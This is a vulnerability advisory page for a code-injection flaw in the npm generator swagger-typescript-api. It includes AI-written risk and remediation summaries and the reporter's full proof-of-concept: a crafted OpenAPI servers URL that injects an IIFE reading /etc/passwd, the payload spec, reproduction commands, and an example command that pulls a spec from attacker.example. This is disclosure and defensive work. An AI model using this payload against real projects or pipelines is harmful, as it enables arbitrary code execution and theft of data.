Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessCraft malicious servers[0].url in spec
-
DeliveryVictim generates axios client from spec
-
ExploitUnescaped URL breaks string literal
-
ExecutionComputed-property IIFE embedded in constructor
-
PersistVictim instantiates new Api()/HttpClient()
-
ImpactArbitrary code runs in consumer process
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Input neutralization, injection prevention
|
| Exploitation Conditions | Exploitation requires: (1) the victim generates a client with the axios HTTP client type ( |
| Impact | The reported CVSS 3.1 vector (AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H, 8.3 High) is internally consistent with the mechanics: network vector because specs are commonly fetched by URL, no privileges required of the attacker, but user interaction required because a victim must run the generator and then instantiate the client, and scope-changed because attacker code executes in a different security context (the consumer's process). AC:H is reasonable given the payload only fires under the axios client type and against a spec the victim did not fully author; the injection itself is deterministic once those conditions hold. There is no EPSS score, no SSVC decision, and no KEV listing in the provided data, so real-world exploitation must be judged from signals rather than telemetry: a complete, tested PoC (against 13.12.1 on Node v24.11.1) confirms exploitability, elevating this above a theoretical high-CVSS finding, but exploitation depends on a developer-tooling supply-chain path rather than a directly internet-exposed service, which limits mass exploitation. Net assessment: a genuine and easily weaponized code-injection issue in a build-time developer tool - prioritize patching in CI/CD and client-generation pipelines, while recognizing the attack requires ingesting an untrusted spec, so blast radius is bounded to teams that generate axios clients from third-party specs. |
| Exploit ScenarioDerived | An attacker publishes or modifies an OpenAPI spec (e.g. an attacker-hosted |
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Alert meAnalysisAIv1 – Jul 29, 2026
Arbitrary code execution in swagger-typescript-api (npm) versions <= 13.12.1 arises when the generator emits an axios HTTP client from an attacker-controlled OpenAPI spec: the unescaped servers[0].url is interpolated raw into the axios.create({...}) call inside the generated HttpClient constructor, letting a crafted URL break out of the string literal and inject a computed-property-key IIFE that runs on every new HttpClient()/new Api(). Any consumer who generates and then instantiates the client executes attacker code with the importing process's privileges. A detailed self-contained proof-of-concept exists (exfiltrating /etc/passwd), so publicly available exploit code exists; this is not listed in CISA KEV and there is no evidence of active exploitation.
RemediationAI
Vendor-released patch: upgrade swagger-typescript-api to 13.12.2 or later (fixed release https://github.com/acacode/swagger-typescript-api/releases/tag/v13.12.2), which escapes apiConfig.baseUrl once at the source in src/code-gen-process.ts via the new escapeJsStringLiteral helper (PR https://github.com/acacode/swagger-typescript-api/pull/1779, commit https://github.com/acacode/swagger-typescript-api/commit/306d59acb8ffbb00f953f807b97234b21f51d9de); this single change closes both the axios and fetch variants. Until upgraded, only generate clients from OpenAPI specs you fully control and treat third-party, vendor, partner, or contributor-modifiable specs as untrusted input - the practical compensating control is to validate or sanitize servers[].url before generation (for example reject any value containing ", \, or newline characters), with the trade-off that legitimate but unusual server URLs may be rejected. Additionally, review any already-generated axios/fetch client files for injected computed-property keys or IIFEs in the HttpClient constructor before importing them, and pin/lock generator versions in CI so builds cannot silently regenerate against a poisoned spec.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in npm
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
swagger-typescript-api is a Node.js code generator that turns OpenAPI/Swagger specifications into TypeScript API clients using the Eta templating engine. The root cause is a template-injection / code-injection class (CWE-74 per NVD, more precisely CWE-94 code injection and CWE-1336 template-engine injection): createApiConfig in src/code-gen-process.ts:591 copies swaggerSchema.servers[0].url into apiConfig.baseUrl with no escaping, and the axios template templates/base/http-clients/axios-http-client.ejs:71 emits it via Eta's raw <%~ %> interpolation directly into a double-quoted TS string literal (baseURL: axiosConfig.baseURL || "<%~ apiConfig.baseUrl %>"). Because the sink is a JavaScript object literal, statement injection is not directly possible, but a computed property key [ (IIFE)() ]: 0 executes eagerly when the object is constructed. The only escaping helper in the codebase, escapeJSDocContent, merely strips */ and is never applied here. The affected package is identified by CPE pkg:npm/swagger-typescript-api. This is the axios sibling of a separately reported fetch-client variant (GHSA-hqj5-cw9f-rx67) sharing the same upstream variable; the vendor patch also addresses enum-value injection, route-path injection, and remote-spec $ref SSRF/token-exfiltration issues bundled into the same release.
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Severity by source
AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H
Remote attacker-supplied spec (AV:N, PR:N) but victim must generate and instantiate the axios client (UI:R, AC:H); injected code runs in the consumer's context (S:C) with full RCE (C/I/A:H).
Primary rating from Vendor (https://github.com/acacode/swagger-typescript-api).
CVSS VectorVendor: https://github.com/acacode/swagger-typescript-api
DescriptionCVE.org
Summary
swagger-typescript-api interpolates servers[0].url directly into a TypeScript string literal inside the HttpClient constructor body of the generated axios client (templates/base/http-clients/axios-http-client.ejs:71), without any escaping. A malicious URL containing a " closes the string literal and exposes the surrounding *object-literal argument* of axios.create({...}) to injection. A computed property key whose value is an IIFE executes arbitrary code every time new HttpClient() (or new Api(), which extends HttpClient) is constructed. The attacker controls the OpenAPI spec; the victim is any consumer of the generated client. Impact is arbitrary code execution with the importing process's privileges.
This is the *axios* sibling of the previously reported fetch-client RCE - same upstream variable (apiConfig.baseUrl, sourced from servers[0].url), same root cause class (raw <%~ %> interpolation of unescaped spec strings), different template file and different lifecycle frame (constructor body vs class-body static field). The single most maintainable fix - sanitizing apiConfig.baseUrl once at the source in src/code-gen-process.ts:591 - closes both at once.
Details
createApiConfig in src/code-gen-process.ts:591 sets the templated baseUrl from the spec without sanitization:
return {
...
baseUrl: serverUrl, // <-- serverUrl = swaggerSchema.servers[0].url, raw
...
};The axios http-client template (templates/base/http-clients/axios-http-client.ejs:71) then interpolates that value into a TS string literal inside the HttpClient constructor body:
constructor({ securityWorker, secure, format, ...axiosConfig }: ApiConfig<SecurityDataType> = {}) {
this.instance = axios.create({ ...axiosConfig, baseURL: axiosConfig.baseURL || "<%~ apiConfig.baseUrl %>" })
...
}<%~ %> is Eta's raw, unescaped interpolation. The codebase's only escape function - escapeJSDocContent (src/schema-parser/schema-formatters.ts:127) - only replaces */ and is not applied to this path.
The injection sits inside a JavaScript *object literal* (the argument to axios.create({...})), so simple statement-level injection is not directly possible - but computed property keys are. A spec value of the form:
URL", [(IIFE)()]: 0, dummy: "produces the following object literal:
axios.create({
...axiosConfig,
baseURL: axiosConfig.baseURL || "URL",
[(IIFE)()]: 0,
dummy: ""
})The IIFE evaluates eagerly when the object literal is constructed - i.e. every time new HttpClient() runs. The trailing dummy: "" reopens a string that the template's own closing " terminates, keeping the file syntactically valid TypeScript.
Lifecycle compared to the fetch sink: the fetch template emits a class-body field initializer that fires at class-definition / module load. The axios sink emits inside the constructor and therefore fires one frame later, on new HttpClient(). In practice the trigger window is identical, because:
- Every README example in this repository does
const api = new Api()at module top level. Api(indefault/api.ejs) extendsHttpClient, sonew Api()invokes theHttpClientconstructor viasuper().- Top-level
const api = new Api()runs at module load - the consumer cannot import without instantiating in the documented usage pattern.
PoC
Self-contained reproducer (run.sh runs end-to-end: install pinned package → generate from control + payload → bundle with esbuild → instantiate → check canary). Tested on swagger-typescript-api@13.12.1 and Node v24.11.1.
Malicious servers[0].url (literal string, JSON-encoded in the spec below):
https://api.example.com", [(async () => { try { const fs = await import('node:fs'); const data = fs.readFileSync('/etc/passwd', 'utf8'); fs.writeFileSync('/tmp/sta_canary', data); } catch (e) {} return 'pwned'; })()]: 0, dummy: "Minimal payload spec:
{
"openapi": "3.0.0",
"info": { "title": "AxiosPayloadAPI", "version": "1.0.0" },
"servers": [
{
"url": "https://api.example.com\", [(async () => { try { const fs = await import('node:fs'); const data = fs.readFileSync('/etc/passwd', 'utf8'); fs.writeFileSync('/tmp/sta_canary', data); } catch (e) {} return 'pwned'; })()]: 0, dummy: \""
}
],
"paths": {
"/ping": {
"get": {
"operationId": "ping",
"responses": { "200": { "description": "OK" } }
}
}
}
}Steps:
npm install swagger-typescript-api@13.12.1 esbuild axios
node -e "import('swagger-typescript-api').then(m => m.generateApi({
name: 'Api.ts', output: process.cwd() + '/out',
input: process.cwd() + '/payload-spec.json', httpClientType: 'axios'
}))"
npx esbuild out/Api.ts --bundle --format=esm --platform=node \
--external:axios --tsconfig-raw='{}' --outfile=out/Api.bundle.mjs
rm -f /tmp/sta_canary
node --input-type=module -e "
const mod = await import('./out/Api.bundle.mjs');
new mod.HttpClient();
await new Promise(r => setTimeout(r, 300));
"
ls -la /tmp/sta_canary && cat /tmp/sta_canaryGenerated out/Api.ts (constructor - payload, Biome-formatted):
constructor({
securityWorker,
secure,
format,
...axiosConfig
}: ApiConfig<SecurityDataType> = {}) {
this.instance = axios.create({
...axiosConfig,
baseURL: axiosConfig.baseURL || "https://api.example.com",
[(async () => {
try {
const fs = await import("node:fs");
const data = fs.readFileSync("/etc/passwd", "utf8");
fs.writeFileSync("/tmp/sta_canary", data);
} catch (e) {}
return "pwned";
})()]: 0,
dummy: "",
});
this.secure = secure;
this.format = format;
this.securityWorker = securityWorker;
}The [(async () => { ... })()]: 0 is a real computed object-literal key - Biome only reformats syntactically valid TypeScript, so the multi-line indented output proves it parsed. The IIFE evaluates when the axios.create({...}) argument is constructed (during the HttpClient constructor), schedules fs.readFileSync('/etc/passwd'), and writes the exfiltrated contents to /tmp/sta_canary.
Result: after new HttpClient(), /tmp/sta_canary contains the full /etc/passwd of the importing process (1470 bytes on a typical Linux host). Control spec (servers[0].url: "https://api.example.com") generates a clean baseURL: ... || "https://api.example.com" and writes no canary.
Impact
Type: Code injection in generated output (CWE-94) / template-engine injection (CWE-1336).
Affected use cases: any developer or pipeline that runs swagger-typescript-api with httpClientType: "axios" (or --http-client axios) against an OpenAPI spec they did not author entirely:
sta generate --http-client axios --url https://attacker.example/openapi.json- a public, third-party, or attacker-hosted spec.- A CI/CD pipeline regenerating axios-based clients from a vendor / partner spec on each build.
- A multi-tenant SaaS that generates per-tenant axios clients from tenant-supplied specs.
- Any project pinned to a spec file that a contributor can modify via PR.
Lifecycle: the injected IIFE fires when new HttpClient() is constructed. In the standard usage pattern (const api = new Api() at module top level), this is effectively at first import - Api extends HttpClient and the super() call invokes the affected constructor. A consumer cannot use the generated client without constructing it.
Privilege: the IIFE runs with the full privileges of the importing process - read any file the importer can read, write any file, exfiltrate secrets, spawn child processes, etc.
Suggested fix: sanitize apiConfig.baseUrl once at the source in src/code-gen-process.ts:591:
// in createApiConfig
baseUrl: escapeJsStringLiteral(serverUrl),where escapeJsStringLiteral produces a properly-escaped JS string literal - at minimum escaping ", \, \n, \r, \t, \b, \f, \v, \0, and the line/paragraph separators / . JSON.stringify(serverUrl).slice(1, -1) is a one-line acceptable implementation. This single change closes both this advisory and the previously reported fetch-client variant without further template edits.
If a template-side fix is preferred instead, both templates/base/http-clients/fetch-http-client.ejs:75 and templates/base/http-clients/axios-http-client.ejs:71 need their <%~ apiConfig.baseUrl %> swapped for the escaped form - fixing only one leaves the other exploitable.
Submitted by: Hamza Haroon (thegr1ffyn)
Articles & Coverage 1
Executive ViewAI
swagger-typescript-api, an npm package widely used for TypeScript API client generation, contains a critical vulnerability (CVE-2026-54661) that allows attackers to execute arbitrary code in development and production environments through crafted API specifications. With publicly available exploit code and any developer as a potential attack vector, organizations face immediate supply chain risk across their application portfolio.
Apply vendor patch.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
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